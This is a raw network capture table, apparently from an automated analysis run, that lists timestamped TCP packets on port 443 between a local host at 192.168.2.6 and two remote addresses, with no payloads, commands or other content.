Dec 17, 2024 12:14:03.142302036 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.142322063 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.148066998 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.148099899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.148144007 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.148169041 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.148390055 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.153260946 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.153291941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.153386116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.153386116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.153399944 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.154215097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.159044027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.159076929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.159984112 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.160012960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.160366058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.165009022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.165040016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.165070057 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.165144920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.165144920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.165168047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.170931101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.170963049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.171004057 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.171031952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.172066927 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.172066927 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.176743984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.176794052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.176827908 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.176841974 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.177129984 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.229229927 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.293312073 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.329466105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.329480886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.329499006 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.329533100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.329549074 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.329561949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.329628944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.329628944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.334470034 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.334501982 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.334532976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.334563017 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.334580898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.334716082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.340442896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.340476036 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.340504885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.340517044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.340589046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.346050978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.346074104 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.346117020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.346133947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.346182108 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.346182108 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.346194029 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.351439953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.351469040 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.351581097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.351581097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.351593018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.352070093 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.357274055 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.357297897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.357336998 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.357355118 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.357402086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.359797955 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.363154888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.363183022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.363281012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.363297939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.363337040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.369244099 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.369271040 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.369386911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.369400978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.408659935 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.431371927 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.522428989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.522447109 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.522480011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.522507906 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.522581100 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.522581100 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.522593975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.522794962 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.527884960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.527909994 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.527992964 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.528004885 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.528038025 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.528110981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.532948971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.532974005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.533071041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.533071041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.533085108 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.533130884 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.539222002 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.539244890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.539280891 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.539300919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.539345980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.539345980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.545094013 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.545114994 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.545581102 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.545593023 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.545995951 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.550666094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.550688028 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.550780058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.550780058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.550793886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.550868034 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.556610107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.556629896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.556807041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.556819916 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.556886911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.561829090 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.561847925 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.561912060 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.561920881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.561959982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.714709044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.714735985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.714806080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.714818001 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.714876890 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.720026970 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.720051050 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.720094919 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.720113039 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.720160007 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.720160007 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.725162029 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.725183010 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.725229979 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.725248098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.725279093 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.725302935 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.731051922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.731076002 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.731184006 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.731184959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.731199026 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.731420994 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.736921072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.736943007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.737030029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.737030029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.737040043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.737185001 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.742883921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.742914915 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.742996931 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.742996931 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.743007898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.743216991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.747993946 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.748049021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.748116970 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.748116970 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.748128891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.748291016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.754698038 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.754719973 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.754813910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:03.754826069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:03.754883051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.158723116 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.158731937 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.158847094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.158871889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159013033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159043074 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159106016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159106016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159113884 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159298897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159318924 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159324884 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159337997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159384012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159384012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159540892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159557104 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159612894 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159612894 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159616947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159748077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159826040 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159840107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159924030 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159924030 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159928083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.159970999 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.159995079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160011053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160094976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.160094976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.160099983 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160106897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160123110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160152912 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.160161972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160317898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160336018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160342932 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.160665989 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.160675049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160974026 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.160983086 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161123991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.161129951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161411047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161428928 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161493063 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.161501884 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161633968 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161647081 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161699057 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.161708117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161849976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.161915064 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.161931038 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162024975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162024975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162030935 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162206888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162226915 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162261963 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162273884 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162317991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162317991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162323952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162408113 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162420988 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162548065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162566900 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162599087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162599087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162609100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162735939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162755966 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.162781954 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162832022 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162832022 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.162837982 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.172899008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.291810036 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.291836977 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.291891098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.291903973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.291917086 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.292010069 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.297605991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.297624111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.297719002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.297734976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.302730083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.302747011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.302831888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.302846909 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.302876949 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.302925110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.308682919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.308698893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.308765888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.308774948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.308860064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.313682079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.313698053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.313797951 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.313797951 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.313807011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.313858032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.314475060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.320461035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.320475101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.320583105 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.320599079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.325689077 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.325707912 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.325789928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.325789928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.325800896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.326030016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.331017017 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.331031084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.331099987 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.331115961 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.331224918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.361524105 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.439443111 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.439527035 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.441576958 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.441597939 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.441951036 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.443871975 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.443995953 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.444003105 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.444164038 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.484052896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.484080076 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.484165907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.484178066 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.484297991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.484335899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.489912987 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.489929914 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.489976883 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.489984035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.490247011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.491324902 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.494925976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.494973898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.494991064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.494997025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.495026112 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.495042086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.500929117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.500950098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.501015902 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.501024008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.501111031 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.505956888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.505979061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.506059885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.506076097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.506120920 CET	49866	443	192.168.2.6	162.125.65.15
